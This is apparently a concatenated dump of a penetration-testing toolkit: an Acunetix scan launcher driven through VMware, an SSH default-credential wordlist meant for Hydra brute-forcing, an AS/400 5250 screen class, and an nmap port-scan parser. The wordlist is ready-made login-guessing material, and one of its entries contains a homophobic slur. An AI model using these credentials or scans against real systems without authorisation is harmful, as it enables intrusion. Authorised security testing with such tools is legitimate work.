vmrunCmd+' -T fusion -gu '+username+' -gp '+password+' runProgramInGuest '+vmHost+' -interactive '+acunetixCmd+' /save /savefolder z:'+folderName1+' /Scan '+line+" nogui" 126 | print cmd 127 | RunCommand(cmd) 128 | else: 129 | cmd = vmrunCmd+' -T fusion -gu '+username+' -gp '+password+' runProgramInGuest '+vmHost+' -interactive '+acunetixCmd+' /save /savefolder z:'+folderName1+' /Scan '+line 130 | print cmd 131 | RunCommand(cmd) 132 | 133 | #Remove Shares in VMware 134 | cmd = vmrunCmd+' removeSharedFolder '+vmHost+' '+shareName 135 | RunCommand(cmd) 136 | 137 | 138 | 139 | if __name__ == '__main__': 140 | global numProcess 141 | parser = argparse.ArgumentParser() 142 | parser.add_argument('-u', dest='username', action='store', help='[username to use to login into VM]') 143 | parser.add_argument('-p', dest='password', action='store', help='[password to use to login into VM]') 144 | parser.add_argument('-iL', dest='filename', action='store', help='[text file containing list of URLs]') 145 | parser.add_argument('-nogui', action='store_true', help='[starts VM with no gui]') 146 | parser.add_argument('-n', dest='threads', action='store', help='[number of threads]') 147 | 148 | if len(sys.argv)==1: 149 | parser.print_help() 150 | sys.exit(1) 151 | options = parser.parse_args() 152 | if options.username and options.password and options.filename: 153 | username = options.username 154 | password = options.password 155 | 156 | if options.threads: 157 | numProcesses=options.threads 158 | if options.nogui: 159 | noGUI=True 160 | if options.filename: 161 | filename=options.filename 162 | fileList.append(filename) 163 | 164 | if testInternet()==False: 165 | print "[!] Internet is down. Please check" 166 | sys.exit() 167 | 168 | #Starts VM 169 | print "- Starts VM" 170 | cmd = vmrunCmd+' start '+vmHost 171 | RunCommand(cmd) 172 | 173 | fileList1=[] 174 | for filename in fileList: 175 | with open(filename) as f: 176 | lines = f.read().splitlines() 177 | for line in lines: 178 | line = get_redirected_url(line) 179 | if line!=None: 180 | line1 = (line.replace(":","_")).replace("//","") 181 | shareName = line1 182 | folderName = "/results/"+line1 183 | 184 | if not os.path.exists(os.getcwd()+"/"+folderName+"/scan-results.wvs"): 185 | fileList1.append(line) 186 | 187 | #Remove Shares in VMware 188 | #cmd = vmrunCmd+' removeSharedFolder '+vmHost+' '+shareName 189 | #RunCommand(cmd) 190 | 191 | if not os.path.exists(os.getcwd()+"/"+folderName): 192 | os.makedirs(os.getcwd()+"/"+folderName) 193 | 194 | 195 | print "- Slicing cmdList into chunks" 196 | tempList = chunk(fileList1, int(numProcesses)) 197 | totalCount=len(tempList) 198 | count = 1 199 | for fileList in tempList: 200 | jobs = [] 201 | jobid=0 202 | print "- Set "+str(count)+" of "+str(totalCount) 203 | for filename in fileList: 204 | if filename!=None: 205 | print "- Testing: "+filename 206 | jobs.append((jobid,filename)) 207 | jobid = jobid+1 208 | resultsList = execute1(jobs,numProcesses) 209 | 210 | 211 | -------------------------------------------------------------------------------- /default_accounts_wordlist/wordList_ssh_hydra.txt: -------------------------------------------------------------------------------- 1 | n/a:admin 2 | n/a: 3 | l2:l2 4 | l3:l3 5 | ro:ro 6 | rw:rw 7 | rwa:rwa 8 | sa: 9 | sa:sasasa 10 | sysadmin:master 11 | sysadm:sysadm 12 | guest: 13 | nop:12345 14 | admin: 15 | autocad:autocad 16 | aaa:cascade 17 | Administrator:changeme 18 | Admin:No 19 | admin:bintec 20 | config:biodata 21 | :admin 22 | diag:danger 23 | manuf:xxyyzz 24 | N/A:AUTORAID 25 | Admin:admin1 26 | Administrator:admin 27 | memotec:supervisor 28 | 1:syslib 29 | 1:operator 30 | 1:manager 31 | 2:maintain 32 | 2:syslib 33 | 2:manager 34 | 2:operator 35 | 30:games 36 | 5:games 37 | 7:maintain 38 | operator:admin 39 | n/a:ACCESS 40 | n/a:SYSTEM 41 | craft: 42 | admin:none 43 | admin:year2000 44 | admin: 45 | m1122:m1122 46 | SETUP: 47 | LIBRARY: 48 | james:james 49 | NICONEX:NICONEX 50 | :enter 51 | file:file 52 | admin:abc123 53 | ami: 54 | mountsys:mountsys 55 | news:news 56 | news: 57 | nobody: 58 | nobody:nobody 59 | nuucp: 60 | operator: 61 | oracle: 62 | postmaster:postmast 63 | postmaster: 64 | powerdown:powerdown 65 | rje:rje 66 | root: 67 | shutdown:shutdown 68 | shutdown: 69 | sync:sync 70 | sync: 71 | sys:system 72 | sys:bin 73 | sysadm:admin 74 | sysadmin:sysadmin 75 | sysbin:sysbin 76 | system_admin: 77 | checkfsys:checkfsys 78 | checksys:checksys 79 | daemon:daemon 80 | daemon: 81 | demo: 82 | demos:demos 83 | demos: 84 | dni: 85 | dni:dni 86 | fal: 87 | fal:fal 88 | fax: 89 | fax:fax 90 | ftp: 91 | ftp:ftp 92 | games:games 93 | games: 94 | gopher:gopher 95 | gropher: 96 | guest:guestgue 97 | halt:halt 98 | halt: 99 | root:hp 100 | install:install 101 | lp:lp 102 | lp:bin 103 | lp:lineprin 104 | lp: 105 | lpadm:lpadm 106 | lpadmin:lpadmin 107 | lynx:lynx 108 | lynx: 109 | mail: 110 | mail:mail 111 | man:man 112 | man: 113 | me: 114 | me:me 115 | mountfs:mountfs 116 | mountfsys:mountfsys 117 | system_admin:system_admin 118 | trouble:trouble 119 | umountfs:umountfs 120 | umountfsys:umountfsys 121 | umountsys:umountsys 122 | unix:unix 123 | uucp:uucp 124 | uucpadm:uucpadm 125 | web: 126 | web:web 127 | webmaster:webmaster 128 | webmaster: 129 | www: 130 | www:www 131 | adm:adm 132 | adm: 133 | administrator: 134 | anon:anon 135 | bbs:bbs 136 | bbs: 137 | bin:sys 138 | checkfs:checkfs 139 | Admin:atc456 140 | LessonUser1: 141 | LessonUser2: 142 | :speedxess 143 | drhhdrhhd:dhrhdhhhh 144 | 31994:31994 145 | n/a:access 146 | MGR:TELESUP 147 | MGR:HPDESK 148 | MGR:CCC 149 | MGR:CNAS 150 | MGR:WORD 151 | MGR:COGNOS 152 | MGR:ROBELLE 153 | MGR:HPOFFICE 154 | MGR:HPONLY 155 | MGR:HPP187 156 | MGR:HPP189 157 | MGR:HPP196 158 | MGR:INTX3 159 | MGR:ITF3000 160 | MGR:NETBASE 161 | MGR:REGO 162 | MGR:RJE 163 | MGR:CONV 164 | OPERATOR:SYS 165 | OPERATOR:DISC 166 | OPERATOR:SYSTEM 167 | OPERATOR:SUPPORT 168 | OPERATOR:COGNOS 169 | PCUSER:SYS 170 | RSBCMON:SYS 171 | SPOOLMAN:HPOFFICE 172 | WP:HPOFFICE 173 | ADVMAIL:HPOFFICE DATA 174 | ADVMAIL:HP 175 | FIELD:SUPPORT 176 | FIELD:MGR 177 | FIELD:SERVICE 178 | FIELD:MANAGER 179 | FIELD:HPP187 SYS 180 | FIELD:LOTUS 181 | FIELD:HPWORD PUB 182 | FIELD:HPONLY 183 | HELLO:MANAGER.SYS 184 | HELLO:MGR.SYS 185 | HELLO:FIELD.SUPPORT 186 | HELLO:OP.OPERATOR 187 | MAIL:MAIL 188 | MAIL:REMOTE 189 | MAIL:TELESUP 190 | MAIL:HPOFFICE 191 | MAIL:MPE 192 | MANAGER:TCH 193 | MANAGER:SYS 194 | MANAGER:SECURITY 195 | MANAGER:ITF3000 196 | MANAGER:HPOFFICE 197 | MANAGER:COGNOS 198 | MANAGER:TELESUP 199 | MGE:VESOFT 200 | MGR:SYS 201 | MGR:CAROLIAN 202 | MGR:VESOFT 203 | MGR:XLSERVER 204 | MGR:SECURITY 205 | admin:rainbow 206 | admin:hello 207 | khan:kahn 208 | SYSDBA:masterkey 209 | IntraStack:Asante 210 | IntraSwitch:Asante 211 | cisco:cisco 212 | n/a:c 213 | n/a:cisco 214 | n/a:Cisco router 215 | n/a:cc 216 | enable:cisco 217 | accounting:accounting 218 | boss:boss 219 | manager:manager 220 | PDP11:PDP11 221 | PDP8:PDP8 222 | software:software 223 | tutor: 224 | tutor:tutor 225 | 4Dgifts:4Dgifts 226 | 4Dgifts: 227 | Ezsetup: 228 | tour:tour 229 | OutOfBox: 230 | n/a:1RRWTTOOI 231 | 1234567890:bloggs 232 | Sysop:Sysop 233 | admin:Ascend 234 | SYSADM:sysadm 235 | MCVEADMIN:password 236 | :help 237 | mediator:mediator 238 | root:Mau dib 239 | disttech:4tas 240 | maint:maint 241 | ccrusr:ccrusr 242 | mlusr:mlusr 243 | root:3ep5w2u 244 | maint:ntacdmax 245 | intelligent_guy_priyank:passwordguy 246 | handsome_123_handsome:plsdontguess 247 | MICRO:RSX 248 | Admin:admin 249 | admin:2222 250 | ncrm:ncrm 251 | admin:tetra 252 | : 253 | netrangr:attack 254 | LASERWRITER: 255 | MAIL: 256 | POST: 257 | POST:POST 258 | PRINT: 259 | PRINT:PRINT 260 | PRINTER: 261 | PRINTER:PRINTER 262 | ROOT: 263 | ROOT:ROOT 264 | ROUTER: 265 | SABRE: 266 | SUPERVISOR:NETFRAME 267 | SUPERVISOR:NFI 268 | SUPERVISOR:NF 269 | SUPERVISOR:HARRIS 270 | SUPERVISOR:SUPERVISOR 271 | SUPERVISOR: 272 | SUPERVISOR:SYSTEM 273 | TEST:TEST 274 | TEST: 275 | USER_TEMPLATE: 276 | USER_TEMPLATE:USER_TEMPLATE 277 | WANGTEK: 278 | WANGTEK:WANGTEK 279 | WINDOWS_PASSTHRU:WINDOWS_PASSTHRU 280 | WINDOWS_PASSTHRU: 281 | WINSABRE:SABRE 282 | WINSABRE:WINSABRE 283 | ADMIN:ADMIN 284 | ADMIN: 285 | BACKUP:BACKUP 286 | CHEY_ARCHSVR:CHEY_ARCHSVR 287 | CHEY_ARCHSVR: 288 | FAX:FAX 289 | FAX: 290 | FAXUSER:FAXUSER 291 | FAXUSER: 292 | FAXWORKS: 293 | FAXWORKS:FAXWORKS 294 | GATEWAY:GATEWAY 295 | GATEWAY: 296 | GUEST:TSEUG 297 | GUEST:GUESTGUEST 298 | GUEST:GUESTGUE 299 | GUEST:GUEST 300 | GUEST: 301 | HPLASER: 302 | HPLASER:HPLASER 303 | LASER: 304 | BACKUP: 305 | ARCHIVIST:ARCHIVIST 306 | LASER:LASER 307 | LASERWRITER:LASERWRITER 308 | ARCHIVIST: 309 | admin:my_DEMARC 310 | signa:signa 311 | root:NeXT 312 | root:nokia 313 | n/a:symantec 314 | n/a:1064 315 | adminttd:adminttd 316 | ftp_admi:kilo1987 317 | n/a:123456 318 | SYSMAN:oem_temp 319 | CTXSYS: 320 | DEMO:DEMO 321 | MTYSYS:MTYSYS 322 | SCOTT:TIGER 323 | SYS:CHANGE_ON_INSTALL 324 | SYSTEM:MANAGER 325 | TRACESRV:TRACE 326 | APPLSYS:APPLSYS 327 | AURORA@ORB@UNAUTHENTICATED:INVALID 328 | 11111111:11111111 329 | 22222222:22222222 330 | ibm:password 331 | ibm:2222 332 | ibm:service 333 | qpgmr:qpgmr 334 | qsecofr:qsecofr 335 | qsecofr:11111111 336 | qsecofr:22222222 337 | qserv:qserv 338 | qsrv:qsrv 339 | qsrvbas:qsrvbas 340 | qsvr:qsvr 341 | qsvr:ibmcel 342 | qsysopr:qsysopr 343 | quser:quser 344 | secofr:secofr 345 | patrol:patrol 346 | PO8:PO8 347 | tech:field 348 | SUPERVISOR:DISCAR 349 | supervisor:supervisor 350 | primos_cs:primos 351 | guest1:guest1 352 | primos_cs:prime 353 | system:prime 354 | system:system 355 | tele:tele 356 | prime:prime 357 | primenet:primenet 358 | primenet:primeos 359 | netlink:netlink 360 | mfd:mfd 361 | guest1:guest 362 | root:ascend 363 | readwrite:lucenttech1 364 | readonly:lucenttech2 365 | admin:rmnetlm 366 | admin2:changeme 367 | adminstrator:changeme 368 | deskalt:password 369 | deskman:changeme 370 | desknorm:password 371 | deskres:password 372 | replicator:replicator 373 | RMUser1:password 374 | topicalt:password 375 | topicnorm:password 376 | topicres:password 377 | setup:changeme 378 | teacher:password 379 | temp1:password 380 | 1.1:SYSTEM 381 | BATCH:BATCH 382 | SYSTEM:SYSTEM 383 | admin:private 384 | ADMN:admn 385 | GEN1:gen1 386 | GEN2:gen2 387 | Guest: 388 | gonzo: 389 | snake: 390 | satan: 391 | sa:(blank) 392 | :sa 393 | stuccoboy:100198 394 | fucking:javascript faggots 395 | DBA:SQL 396 | bciim:bciimpw 397 | bcim:bcimpw 398 | bcms:bcmspw 399 | bcnas:bcnaspw 400 | blue:bluepw 401 | browse:browsepw 402 | browse:looker 403 | craft:craft 404 | craft:craftpw 405 | cust:custpw 406 | enquiry:enquirypw 407 | field:support 408 | inads:indspw 409 | inads:inads 410 | init:initpw 411 | locate:locatepw 412 | maint:maintpw 413 | maint:rwmaint 414 | nms:nmspw 415 | rcust:rcustpw 416 | support:supportpw 417 | :use ALT+G at boot to reset config 418 | :744 419 | secoff:secoff 420 | tellabs:tellabs#1 421 | storwatch:specialist 422 | Administrator:ganteng 423 | managers:managers 424 | root:uClinux 425 | Any:12345 426 | admin:utstar 427 | n/a:SY_MB 428 | n/a:system 429 | OP1: 430 | OPERATNS: 431 | OPERATOR: 432 | PDMREMI: 433 | PENG: 434 | PROCAL: 435 | PRODBM: 436 | PROMAIL: 437 | PSFMAINT: 438 | PVM: 439 | RDM470: 440 | RSCS: 441 | RSCSV2: 442 | SAVSYS: 443 | SFCMI: 444 | SFCNTRL: 445 | SMART: 446 | SQLDBA: 447 | SQLUSER: 448 | SYSADMIN: 449 | SYSCKP: 450 | SYSDUMP1: 451 | SYSERR: 452 | SYSWRM: 453 | TDISK: 454 | TEMP: 455 | TSAFVM: 456 | VASTEST: 457 | VM3812: 458 | VMARCH: 459 | VMASMON: 460 | VMASSYS: 461 | VMBACKUP: 462 | VMBSYSAD: 463 | VMMAP: 464 | VMTAPE: 465 | VMTLIBR: 466 | VMUTIL: 467 | VSEIPO: 468 | VSEMAINT: 469 | VSEMAN: 470 | VTAM: 471 | VTAMUSER: 472 | DEMO4: 473 | $ALOC$: 474 | AP2SVP: 475 | APL2PP: 476 | AUTOLOG1: 477 | BATCH: 478 | BATCH1: 479 | BATCH2: 480 | CCC: 481 | CMSBATCH: 482 | CMSUSER: 483 | CPNUC: 484 | CPRM: 485 | CSPUSER: 486 | CVIEW: 487 | DATAMOVE: 488 | DEMO1: 489 | DEMO3: 490 | DEMO2: 491 | DIRECT: 492 | DIRMAINT: 493 | DISKCNT: 494 | EREP: 495 | FSFADMIN: 496 | FSFTASK1: 497 | FSFTASK2: 498 | GCS: 499 | IDMS: 500 | IDMSSE: 501 | IIPS: 502 | IPFSERV: 503 | ISPVM: 504 | IVPM1: 505 | IVPM2: 506 | MAINT: 507 | MOESERV: 508 | NEVIEW: 509 | OLTSEP: 510 | TELEDEMO:TELEDEMO 511 | UETP:UETP 512 | USER:PASSWORD 513 | USERP:USERP 514 | VAX:VAX 515 | VMS:VMS 516 | ALLIN1:ALLIN1 517 | ALLIN1MAIL:ALLIN1MAIL 518 | ALLINONE:ALLINONE 519 | DCL:DCL 520 | DECMAIL:DECMAIL 521 | DECNET:DECNET 522 | DECNET:NONPRIV 523 | PRIV:PRIV 524 | REPORT:REPORT 525 | RJE:RJE 526 | STUDENT:STUDENT 527 | SYS:SYS 528 | SYSMAINT:SYSMAINT 529 | SYSMAINT:SERVICE 530 | SYSMAINT:DIGITAL 531 | SYSTEM:OPERATOR 532 | SYSTEM:SYSLIB 533 | SYSTEST:UETP 534 | DEFAULT:USER 535 | SYSTEST_CLIG:SYSTEST_CLIG 536 | DEFAULT:DEFAULT 537 | FIELD:FIELD 538 | FIELD:TEST 539 | FIELD:DIGITAL 540 | HELP:HELP 541 | HELPDESK:HELPDESK 542 | HOST:HOST 543 | INFO:INFO 544 | INGRES:INGRES 545 | LINK:LINK 546 | MAILER:MAILER 547 | MBMANAGER:MBMANAGER 548 | MBWATCH:MBWATCH 549 | NETCON:NETCON 550 | NETMGR:NETMGR 551 | NETNONPRIV:NETNONPRIV 552 | SYSTEST_CLIG:SYSTEST 553 | NETPRIV:NETPRIV 554 | NETSERVER:NETSERVER 555 | NEWINGRES:NEWINGRES 556 | NEWS:NEWS 557 | OPERVAX:OPERVAX 558 | POSTMASTER:POSTMASTER 559 | :default 560 | Administrator: 561 | User:User 562 | Guest:Guest 563 | Administrator:Administrator 564 | admin:comcomcom 565 | :Intel 566 | sherzad420:pakistan 567 | -------------------------------------------------------------------------------- /as400/Screen5250.py: -------------------------------------------------------------------------------- 1 | """ 2 | Screen object 3 | Created by Kenneth J. Pouncey 2002-05-18 4 | """ 5 | import ScreenFields 6 | 7 | __all__ = ["Screen5250"] 8 | 9 | # Tunable parameters 10 | DEBUGLEVEL = 0 11 | # Initial Attribute 12 | initAttr = 32 13 | 14 | class Screen5250: 15 | #Screen5250 interface class. 16 | #def __init__(self, host=None, port=0): 17 | def __init__(self): #Constructor 18 | self._listeners = [] 19 | self.debuglevel = DEBUGLEVEL 20 | # Text Plane of screen 21 | self.textPlane = [] 22 | # Attrubute Plane of screen 23 | self.attrPlane = [] 24 | # number of rows and columns 25 | self.numRows = 24 26 | self.numCols = 80 27 | self.screenLength = self.numRows * self.numCols 28 | # current screen position 29 | self.lastPos = 0 30 | # current screen home position 31 | self.homePos = 0 32 | # pending insert flag 33 | self.pendingInsert = 0 34 | # screen virtual terminal 35 | self.vt = None 36 | # set default attribute for screen position row 1 column 1 37 | self.lastAttr = initAttr 38 | # set up our field format table 39 | self.screenFields = ScreenFields.ScreenFields(self) 40 | loop = 0 41 | while loop < self.screenLength: 42 | self.textPlane.append(' ') 43 | loop += 1 44 | loop = 0 45 | # initialize the attribute plane to default attribute of 0x32 46 | while loop < self.screenLength: 47 | self.attrPlane.append(self.lastAttr) 48 | loop += 1 49 | 50 | def set_debuglevel(self, debuglevel): 51 | """Set the debug level. 52 | The higher it is, the more debug output you get (on sys.stdout). 53 | """ 54 | self.debuglevel = debuglevel 55 | 56 | def add_screen_listener( self , func ): 57 | # this is where we give it a "callback" 58 | self._listeners.append( func ) 59 | 60 | def notify_screen_listeners( self, initiator ): 61 | """ this is where we actually call back """ 62 | for f in self._listeners : 63 | f(initiator,1,1,24,80) 64 | 65 | def getRows(self): 66 | return self.numRows 67 | 68 | def getCols(self): 69 | return self.numCols 70 | 71 | def getCurrentRow(self): 72 | return (self.lastPos / self.numCols) + 1; 73 | 74 | def getCurrentCol(self): 75 | return (self.lastPos % self.numCols) + 1; 76 | 77 | def changePos(self,i): 78 | self.lastPos += i; 79 | if self.lastPos < 0: 80 | self.lastPos = self.screenLength + self.lastPos 81 | if self.lastPos > self.screenLength - 1: 82 | self.lastPos = self.lastPos - self.screenLength 83 | 84 | def moveTo(self,row,column): 85 | """ 86 | This routine is based on offset 1,1 not 0,0 it will translate to 87 | offset 0,0 and call the goto_XY(int pos) it is mostly used from 88 | external classes that use the 1,1 offset 89 | """ 90 | self.moveToPos(((row - 1) * self.numCols) + (column-1)) 91 | 92 | def moveToPos(self,pos): 93 | self.lastPos = pos 94 | 95 | def addField(self,attr,fLength,ffw0,ffw1,fcw1,fcw2): 96 | self.lastAttr = attr 97 | self.textPlane[self.lastPos] = 0 98 | self.attrPlane[self.lastPos] = attr 99 | self.changePos(1) 100 | pos = self.lastPos 101 | sf = self.screenFields.setField(attr,self.getCurrentRow(), \ 102 | self.getCurrentCol(),fLength,ffw0,ffw1,fcw1,fcw2) 103 | #print sf.toString() 104 | # now lets initialize the planes for the field 105 | while fLength > 0: 106 | if self.textPlane[pos] == 0: 107 | self.textPlane[pos] = ' ' 108 | self.attrPlane[pos] = attr 109 | else: 110 | self.attrPlane[pos] = attr 111 | pos +=1 112 | fLength -=1 113 | spos = self.lastPos 114 | self.lastPos = pos 115 | self.setAttr(initAttr) 116 | self.lastAttr = attr 117 | self.lastPos = spos 118 | 119 | def setAttr(self,attr): 120 | """ 121 | This routine is used to set attributes in the Attribute Plane 122 | """ 123 | # print chr(char), ' at ' , self.getCurrentRow(), 124 | # ' , ' , self.getCurrentCol() 125 | self.lastAttr = attr 126 | self.attrPlane[self.lastPos] = attr 127 | self.changePos(1) 128 | pos = self.lastPos 129 | while pos < self.screenLength and self.attrPlane[pos] != \ 130 | self.lastAttr: 131 | self.attrPlane[pos] = self.lastAttr 132 | pos += 1 133 | 134 | def setChar(self,char): 135 | """ 136 | This routine is used to place characters into the Text Plane 137 | """ 138 | if char > 0x0 and char < ' ': 139 | self.textPlane[self.lastPos] = ' ' 140 | self.attrPlane[self.lastPos] = 33 141 | else: 142 | self.textPlane[self.lastPos] = char 143 | self.changePos(1) 144 | 145 | def clearAll(self): 146 | self.lastPos = 0 147 | self.lastAttr = 0x32 148 | self.clearFFT() 149 | self.clearPlanes() 150 | 151 | def clearFFT(self): 152 | self.screenFields.clearFFT() 153 | self.pendingInsert = 0 154 | self.homePos = -1 155 | 156 | def clearPlanes(self): 157 | x = 0 158 | # clear Text Plane 159 | while x < self.screenLength: 160 | self.textPlane[x] = ' ' 161 | x += 1 162 | x = 0 163 | # clear Attribute Plane 164 | while x < self.screenLength: 165 | self.attrPlane[x] = self.lastAttr 166 | x += 1 167 | 168 | def getFields(self): 169 | """ 170 | return an object of Fields contained on the presentation space. 171 | """ 172 | return self.screenFields 173 | 174 | def getPlaneData(self,row,column,endRow,endCol,whichPlane): 175 | loop = 0 176 | start = ((row - 1) * self.numCols) + (column-1) 177 | end = ((endRow - 1) * self.numCols) + (endCol-1) 178 | length = end - start 179 | if whichPlane == 1: # Text Plane 180 | plane = '' 181 | indices = range(start,start + length) 182 | for idx in indices: 183 | c = self.textPlane[idx] 184 | if c < ' ': 185 | plane += ' ' 186 | else: 187 | plane += c 188 | return plane 189 | elif whichPlane == 2: # Attribute Plane 190 | return self.attrPlane[start:start + length] 191 | 192 | def setVT(self,vt): 193 | """ Set the virtual terminal associated with the screen """ 194 | self.vt = vt 195 | 196 | def sendAidKey(self,aid): 197 | """ Send the aid key to the virtual terminal """ 198 | self.vt.sendAidKey(aid) 199 | 200 | def getPos(self,row,col): 201 | """ Return a position integer from a passed row and column """ 202 | return (row * self.numCols) + col 203 | 204 | def getRow(self,pos): 205 | """ Return row associated to a position """ 206 | row = pos / self.numCols 207 | if row < 0: 208 | row = self.lastPos / self.numCols 209 | if row > (self.screenLength - 1): 210 | row = self.screenLength - 1 211 | return row; 212 | 213 | def getCol(self,pos): 214 | """ Return col associated to a position """ 215 | col = pos % self.numCols 216 | if col > 0: 217 | return col 218 | else: 219 | return 0 220 | 221 | def gotoFieldItem(self,item): 222 | """ Move the screen cursor position to the field item """ 223 | sizeFields = self.screenFields.getCount() 224 | if item > sizeFields or item < 0: 225 | return 0 226 | self.screenFields.setCurrentField(self.screenFields.getItem(item-1)) 227 | while self.screenFields.isCurrentFieldBypassField() and item < sizeFields: 228 | self.screenFields.setCurrentField(self.screenFields.getItem(item)) 229 | item += 1 230 | return self.gotoField(self.screenFields.getCurrentField()) 231 | 232 | def gotoField(self,f): 233 | if f != None: 234 | self.moveToPos(f.startPos) 235 | return 1 236 | else: 237 | return 0 238 | 239 | def setPendingInsert(self, flag, icX, icY): 240 | self.pendingInsert = flag 241 | if self.pendingInsert: 242 | self.homePos = self.getPos(icX,icY) 243 | 244 | def goHome(self): 245 | """ 246 | now we try to move to first input field according to 247 | 14.6 WRITE TO DISPLAY Command 248 | - If the WTD command is valid, after the command is processed, 249 | the cursor moves to one of three locations: 250 | - The location set by an insert cursor order (unless control 251 | character byte 1, bit 1 is equal to B'1'.) 252 | - The start of the first non-bypass input field defined in the 253 | format table 254 | - A default starting address of row 1 column 1. 255 | """ 256 | if self.pendingInsert: 257 | self.moveTo(self.getRow(self.homePos),self.getCol(self.homePos)) 258 | self.isInField() ## we now check if we are in a field 259 | else: 260 | if not self.gotoFieldItem(1): 261 | self.homePos = self.getPos(1,1); 262 | self.moveTo(1,1); 263 | self.isInField(row=0,col=0); ## we now check if we are in a field 264 | else: 265 | self.homePos = self.getPos(self.getCurrentRow(),self.getCurrentCol()) 266 | 267 | def isInField(self,pos=None,row=None,col=None,chgToField=None): 268 | if chgToField == None: 269 | chgToField = 1 270 | else: 271 | chgToField = 0 272 | if row != None: 273 | pos = (row * self.numCols) + col 274 | if pos == None: 275 | pos = self.lastPos 276 | return self.screenFields.isInField(pos,chgToField) 277 | -------------------------------------------------------------------------------- /others/parseMSTports.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # Sachin Agarwal, Google, Twitter: sachinkagarwal, Web: http://sites.google.com/site/sachinkagarwal/ 3 | # November 2010 4 | # Using Python to execute a bunch of job strings on multiple processors and print out the results of the jobs in the order they were listed in the job list (e.g. serially). 5 | # Partly adapted from http://jeetworks.org/node/81 6 | 7 | 8 | #These are needed by the multiprocessing scheduler 9 | from multiprocessing import Queue 10 | import multiprocessing 11 | import commands 12 | import sys 13 | import sys 14 | import commands,os 15 | import nmap 16 | import subprocess 17 | import argparse 18 | resultsEnd = [] 19 | 20 | #These are specific to my jobs requirement 21 | import os 22 | import re 23 | 24 | httpList = [] 25 | sslList = [] 26 | snmpList = [] 27 | sshList = [] 28 | scanTCPList = [] 29 | scanUDPList = [] 30 | filename = '' 31 | 32 | file = open("results.txt", "w") 33 | 34 | def generateCommands(): 35 | print "Generating nmap commands" 36 | filename = str(sys.argv[1]) 37 | with open(filename) as f: 38 | for line in f: 39 | hostNo = line.split(":")[0] 40 | inputStr = line.split(":")[1] 41 | inputList = inputStr.split(" ") 42 | tcpList=[] 43 | udpList=[] 44 | #print "\n" 45 | file.write("\n"+hostNo+"\n") 46 | for i in inputList: 47 | if '/tcp' in i or '/TCP' in i: 48 | tmpStr = i.replace('/tcp','') 49 | tmpStr = tmpStr.replace('/TCP','') 50 | tmpStr = (tmpStr.replace(',','')).replace(" ","").replace("\n","") 51 | tcpList.append(tmpStr) 52 | if '/udp' in i or '/UDP' in i: 53 | tmpStr = i.replace('/udp','') 54 | tmpStr = tmpStr.replace('/UDP','') 55 | tmpStr = (tmpStr.replace(',','')).replace(" ","").replace("\n","") 56 | udpList.append(tmpStr) 57 | 58 | tcpportNo = str(tcpList).strip('[]').replace("'","").replace(" ","") 59 | udpportNo = str(udpList).strip('[]').replace("'","").replace(" ","") 60 | if len(tcpportNo)>0 and len(udpportNo)>0: 61 | arg = "sudo nmap -Pn -T4 -sT -sU -n -sV -A -v --open --script default -p T:"+tcpportNo+" U:"+udpportNo 62 | cmd = arg+" "+hostNo 63 | scanTCPList.append((hostNo,cmd)) 64 | if len(tcpportNo)>0 and len(udpportNo)<1: 65 | arg = "sudo nmap -Pn -T4 -sT -sU -n -sV -A -v --open --script default -p T:"+tcpportNo 66 | cmd = arg+" "+hostNo 67 | scanTCPList.append((hostNo,cmd)) 68 | if len(tcpportNo)<1 and len(udpportNo)>0: 69 | arg = "sudo nmap -Pn -T4 -sT -sU -n -sV -A -v --open --script default -p U:"+udpportNo 70 | cmd = arg+" "+hostNo 71 | scanTCPList.append((hostNo,cmd)) 72 | 73 | 74 | def RunCommand (fullCmd): 75 | try: 76 | print fullCmd 77 | return commands.getoutput(fullCmd) 78 | except: 79 | return "Error executing command %s" %(fullCmd) 80 | 81 | 82 | class Worker(multiprocessing.Process): 83 | 84 | def __init__(self, 85 | work_queue, 86 | result_queue, 87 | ): 88 | # base class initialization 89 | multiprocessing.Process.__init__(self) 90 | self.work_queue = work_queue 91 | self.result_queue = result_queue 92 | self.kill_received = False 93 | 94 | def run(self): 95 | while (not (self.kill_received)) and (self.work_queue.empty()==False): 96 | try: 97 | job = self.work_queue.get_nowait() 98 | except: 99 | break 100 | 101 | (jobid,runCmd) = job 102 | rtnVal = (jobid,RunCommand(runCmd)) 103 | self.result_queue.put(rtnVal) 104 | 105 | def extractPorts(results): 106 | file = open("results.txt", "a+") 107 | resultList = str(results).split("\n") 108 | for i in resultList: 109 | if "Nmap scan report for " in i: 110 | hostNo = i.replace("Nmap scan report for ","") 111 | file.write(hostNo+"\n") 112 | if "/tcp" in i and "unknown" not in i and "tcpwrapped" not in i and "port" not in i: 113 | outputStr = str(i).replace(" open "," ") 114 | outputStr = outputStr.replace("?"," ") 115 | resultsEnd.append(outputStr) 116 | file.write(outputStr+"\n") 117 | 118 | if "http" in outputStr: 119 | portStatus = outputStr.split("/tcp") 120 | httpList.append((hostNo,portStatus[0],portStatus[1])) 121 | if "ssl" in outputStr: 122 | portStatus = outputStr.split("/tcp") 123 | sslList.append((hostNo,portStatus[0],portStatus[1])) 124 | if "ssh" in outputStr: 125 | portStatus = outputStr.split("/tcp") 126 | sshList.append((hostNo,portStatus[0],portStatus[1])) 127 | 128 | if "/udp" in i and "filtered" not in i and "unknown" not in i and "tcpwrapped" not in i and "port" not in i: 129 | outputStr = str(i).replace(" open "," ") 130 | outputStr = outputStr.replace("open|filtered","") 131 | outputStr = outputStr.replace("?"," ") 132 | resultsEnd.append(outputStr) 133 | file.write(outputStr+"\n") 134 | 135 | if "snmp" in outputStr: 136 | portStatus = outputStr.split("/udp") 137 | snmpList.append((hostNo,portStatus[0],portStatus[1])) 138 | file.close() 139 | 140 | def execute(jobs, num_processes=2): 141 | # load up work queue 142 | work_queue = multiprocessing.Queue() 143 | for job in jobs: 144 | work_queue.put(job) 145 | 146 | # create a queue to pass to workers to store the results 147 | result_queue = multiprocessing.Queue() 148 | 149 | # spawn workers 150 | worker = [] 151 | for i in range(num_processes): 152 | worker.append(Worker(work_queue, result_queue)) 153 | worker[i].start() 154 | 155 | # collect the results from the queue 156 | results = [] 157 | while len(results) < len(jobs): #Beware - if a job hangs, then the whole program will hang 158 | result = result_queue.get() 159 | results.append(result) 160 | results.sort() # The tuples in result are sorted according to the first element - the jobid 161 | return (results) 162 | 163 | 164 | #MAIN 165 | 166 | if __name__ == '__main__': 167 | global filename 168 | parser = argparse.ArgumentParser() 169 | parser.add_argument('-f', action='store', help='[file containing directory listing]') 170 | 171 | if len(sys.argv)==1: 172 | parser.print_help() 173 | sys.exit(1) 174 | 175 